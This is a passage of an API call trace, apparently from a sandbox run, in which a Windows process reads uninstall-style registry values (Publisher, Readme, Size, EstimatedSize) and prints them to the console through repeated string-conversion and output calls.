fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.108] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.108] lstrlenW (lpString="Publisher") returned 9 [0150.108] __iob_func () returned 0x7fefd702a80 [0150.108] _fileno (_File=0x7fefd702ab0) returned 1 [0150.108] _errno () returned 0x204bb0 [0150.108] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.108] _errno () returned 0x204bb0 [0150.108] GetFileType (hFile=0x50) returned 0x1 [0150.108] lstrlenW (lpString="Publisher") returned 9 [0150.108] GetConsoleOutputCP () returned 0x1b5 [0150.109] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.109] GetConsoleOutputCP () returned 0x1b5 [0150.109] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0150.109] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.109] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.109] __iob_func () returned 0x7fefd702a80 [0150.109] _fileno (_File=0x7fefd702ab0) returned 1 [0150.109] _errno () returned 0x204bb0 [0150.109] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.109] _errno () returned 0x204bb0 [0150.109] GetFileType (hFile=0x50) returned 0x1 [0150.109] lstrlenW (lpString=" ") returned 4 [0150.109] GetConsoleOutputCP () returned 0x1b5 [0150.109] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.109] GetConsoleOutputCP () returned 0x1b5 [0150.109] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.109] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.109] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.109] __iob_func () returned 0x7fefd702a80 [0150.109] _fileno (_File=0x7fefd702ab0) returned 1 [0150.109] _errno () returned 0x204bb0 [0150.110] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.110] _errno () returned 0x204bb0 [0150.110] GetFileType (hFile=0x50) returned 0x1 [0150.110] lstrlenW (lpString="REG_SZ") returned 6 [0150.110] GetConsoleOutputCP () returned 0x1b5 [0150.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.110] GetConsoleOutputCP () returned 0x1b5 [0150.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.110] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.110] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.110] __iob_func () returned 0x7fefd702a80 [0150.110] _fileno (_File=0x7fefd702ab0) returned 1 [0150.110] _errno () returned 0x204bb0 [0150.110] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.110] _errno () returned 0x204bb0 [0150.110] GetFileType (hFile=0x50) returned 0x1 [0150.110] lstrlenW (lpString=" ") returned 4 [0150.110] GetConsoleOutputCP () returned 0x1b5 [0150.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.110] GetConsoleOutputCP () returned 0x1b5 [0150.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.111] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.111] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.111] __iob_func () returned 0x7fefd702a80 [0150.111] _fileno (_File=0x7fefd702ab0) returned 1 [0150.111] _errno () returned 0x204bb0 [0150.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.111] _errno () returned 0x204bb0 [0150.111] GetFileType (hFile=0x50) returned 0x1 [0150.111] lstrlenW (lpString="Microsoft Corporation") returned 21 [0150.111] GetConsoleOutputCP () returned 0x1b5 [0150.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0150.111] GetConsoleOutputCP () returned 0x1b5 [0150.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0150.111] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0150.111] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.111] __iob_func () returned 0x7fefd702a80 [0150.111] _fileno (_File=0x7fefd702ab0) returned 1 [0150.111] _errno () returned 0x204bb0 [0150.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.111] _errno () returned 0x204bb0 [0150.111] GetFileType (hFile=0x50) returned 0x1 [0150.111] lstrlenW (lpString="\n") returned 1 [0150.112] GetConsoleOutputCP () returned 0x1b5 [0150.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.112] GetConsoleOutputCP () returned 0x1b5 [0150.112] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.112] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.112] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.112] GetProcessHeap () returned 0x3c0000 [0150.112] GetProcessHeap () returned 0x3c0000 [0150.112] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.112] GetProcessHeap () returned 0x3c0000 [0150.112] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0150.112] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0150.112] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.112] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.112] GetProcessHeap () returned 0x3c0000 [0150.112] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.112] GetProcessHeap () returned 0x3c0000 [0150.112] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.112] GetProcessHeap () returned 0x3c0000 [0150.112] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.112] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.112] __iob_func () returned 0x7fefd702a80 [0150.112] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.112] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.113] _fileno (_File=0x7fefd702ab0) returned 1 [0150.113] _errno () returned 0x204bb0 [0150.113] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.113] _errno () returned 0x204bb0 [0150.113] GetFileType (hFile=0x50) returned 0x1 [0150.113] lstrlenW (lpString=" ") returned 4 [0150.113] GetConsoleOutputCP () returned 0x1b5 [0150.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.113] GetConsoleOutputCP () returned 0x1b5 [0150.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.113] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.113] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.113] lstrlenW (lpString="Readme") returned 6 [0150.113] __iob_func () returned 0x7fefd702a80 [0150.113] _fileno (_File=0x7fefd702ab0) returned 1 [0150.113] _errno () returned 0x204bb0 [0150.113] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.113] _errno () returned 0x204bb0 [0150.113] GetFileType (hFile=0x50) returned 0x1 [0150.113] lstrlenW (lpString="Readme") returned 6 [0150.113] GetConsoleOutputCP () returned 0x1b5 [0150.113] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.114] GetConsoleOutputCP () returned 0x1b5 [0150.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0150.114] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.114] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.114] __iob_func () returned 0x7fefd702a80 [0150.114] _fileno (_File=0x7fefd702ab0) returned 1 [0150.114] _errno () returned 0x204bb0 [0150.114] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.114] _errno () returned 0x204bb0 [0150.114] GetFileType (hFile=0x50) returned 0x1 [0150.114] lstrlenW (lpString=" ") returned 4 [0150.114] GetConsoleOutputCP () returned 0x1b5 [0150.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.114] GetConsoleOutputCP () returned 0x1b5 [0150.114] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.114] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.114] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.114] __iob_func () returned 0x7fefd702a80 [0150.114] _fileno (_File=0x7fefd702ab0) returned 1 [0150.114] _errno () returned 0x204bb0 [0150.114] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.114] _errno () returned 0x204bb0 [0150.114] GetFileType (hFile=0x50) returned 0x1 [0150.114] lstrlenW (lpString="REG_SZ") returned 6 [0150.115] GetConsoleOutputCP () returned 0x1b5 [0150.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.115] GetConsoleOutputCP () returned 0x1b5 [0150.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.115] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.115] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.115] __iob_func () returned 0x7fefd702a80 [0150.115] _fileno (_File=0x7fefd702ab0) returned 1 [0150.115] _errno () returned 0x204bb0 [0150.115] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.115] _errno () returned 0x204bb0 [0150.115] GetFileType (hFile=0x50) returned 0x1 [0150.115] lstrlenW (lpString=" ") returned 4 [0150.115] GetConsoleOutputCP () returned 0x1b5 [0150.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.115] GetConsoleOutputCP () returned 0x1b5 [0150.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.115] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.115] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.116] __iob_func () returned 0x7fefd702a80 [0150.116] _fileno (_File=0x7fefd702ab0) returned 1 [0150.116] _errno () returned 0x204bb0 [0150.116] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.116] _errno () returned 0x204bb0 [0150.116] GetFileType (hFile=0x50) returned 0x1 [0150.116] lstrlenW (lpString="") returned 0 [0150.116] __iob_func () returned 0x7fefd702a80 [0150.116] _fileno (_File=0x7fefd702ab0) returned 1 [0150.116] _errno () returned 0x204bb0 [0150.116] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.116] _errno () returned 0x204bb0 [0150.116] GetFileType (hFile=0x50) returned 0x1 [0150.116] lstrlenW (lpString="\n") returned 1 [0150.116] GetConsoleOutputCP () returned 0x1b5 [0150.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.116] GetConsoleOutputCP () returned 0x1b5 [0150.116] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.116] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.116] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.116] GetProcessHeap () returned 0x3c0000 [0150.116] GetProcessHeap () returned 0x3c0000 [0150.116] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.116] GetProcessHeap () returned 0x3c0000 [0150.116] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.116] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.117] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.117] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.117] GetProcessHeap () returned 0x3c0000 [0150.117] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.117] GetProcessHeap () returned 0x3c0000 [0150.117] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.117] GetProcessHeap () returned 0x3c0000 [0150.117] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.117] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.117] __iob_func () returned 0x7fefd702a80 [0150.117] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.117] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.117] _fileno (_File=0x7fefd702ab0) returned 1 [0150.117] _errno () returned 0x204bb0 [0150.117] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.117] _errno () returned 0x204bb0 [0150.117] GetFileType (hFile=0x50) returned 0x1 [0150.117] lstrlenW (lpString=" ") returned 4 [0150.117] GetConsoleOutputCP () returned 0x1b5 [0150.117] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.117] GetConsoleOutputCP () returned 0x1b5 [0150.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.118] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.118] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.118] lstrlenW (lpString="Size") returned 4 [0150.118] __iob_func () returned 0x7fefd702a80 [0150.118] _fileno (_File=0x7fefd702ab0) returned 1 [0150.118] _errno () returned 0x204bb0 [0150.118] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.118] _errno () returned 0x204bb0 [0150.118] GetFileType (hFile=0x50) returned 0x1 [0150.118] lstrlenW (lpString="Size") returned 4 [0150.118] GetConsoleOutputCP () returned 0x1b5 [0150.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.118] GetConsoleOutputCP () returned 0x1b5 [0150.118] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0150.118] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.118] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.118] __iob_func () returned 0x7fefd702a80 [0150.118] _fileno (_File=0x7fefd702ab0) returned 1 [0150.118] _errno () returned 0x204bb0 [0150.118] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.119] _errno () returned 0x204bb0 [0150.119] GetFileType (hFile=0x50) returned 0x1 [0150.119] lstrlenW (lpString=" ") returned 4 [0150.119] GetConsoleOutputCP () returned 0x1b5 [0150.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.119] GetConsoleOutputCP () returned 0x1b5 [0150.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.119] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.119] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.119] __iob_func () returned 0x7fefd702a80 [0150.119] _fileno (_File=0x7fefd702ab0) returned 1 [0150.119] _errno () returned 0x204bb0 [0150.119] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.119] _errno () returned 0x204bb0 [0150.119] GetFileType (hFile=0x50) returned 0x1 [0150.119] lstrlenW (lpString="REG_SZ") returned 6 [0150.119] GetConsoleOutputCP () returned 0x1b5 [0150.119] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.119] GetConsoleOutputCP () returned 0x1b5 [0150.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.120] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.120] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.120] __iob_func () returned 0x7fefd702a80 [0150.120] _fileno (_File=0x7fefd702ab0) returned 1 [0150.120] _errno () returned 0x204bb0 [0150.120] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.120] _errno () returned 0x204bb0 [0150.120] GetFileType (hFile=0x50) returned 0x1 [0150.120] lstrlenW (lpString=" ") returned 4 [0150.120] GetConsoleOutputCP () returned 0x1b5 [0150.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.120] GetConsoleOutputCP () returned 0x1b5 [0150.120] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.120] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.120] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.120] __iob_func () returned 0x7fefd702a80 [0150.120] _fileno (_File=0x7fefd702ab0) returned 1 [0150.120] _errno () returned 0x204bb0 [0150.120] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.120] _errno () returned 0x204bb0 [0150.120] GetFileType (hFile=0x50) returned 0x1 [0150.120] lstrlenW (lpString="") returned 0 [0150.120] __iob_func () returned 0x7fefd702a80 [0150.120] _fileno (_File=0x7fefd702ab0) returned 1 [0150.120] _errno () returned 0x204bb0 [0150.121] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.121] _errno () returned 0x204bb0 [0150.121] GetFileType (hFile=0x50) returned 0x1 [0150.121] lstrlenW (lpString="\n") returned 1 [0150.121] GetConsoleOutputCP () returned 0x1b5 [0150.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.121] GetConsoleOutputCP () returned 0x1b5 [0150.121] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.121] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.121] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.121] GetProcessHeap () returned 0x3c0000 [0150.121] GetProcessHeap () returned 0x3c0000 [0150.121] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.121] GetProcessHeap () returned 0x3c0000 [0150.121] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.121] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.121] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.121] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.121] GetProcessHeap () returned 0x3c0000 [0150.121] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.121] GetProcessHeap () returned 0x3c0000 [0150.121] HeapValidate 